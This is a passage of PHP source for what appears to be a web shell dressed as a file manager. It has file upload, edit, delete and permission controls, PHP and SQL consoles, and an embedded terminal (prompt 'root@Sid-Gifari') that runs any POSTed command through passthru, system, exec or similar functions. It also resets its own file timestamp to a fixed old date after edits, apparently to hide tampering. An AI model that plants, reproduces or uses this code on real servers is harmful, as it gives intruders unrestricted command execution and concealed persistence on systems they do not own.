+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
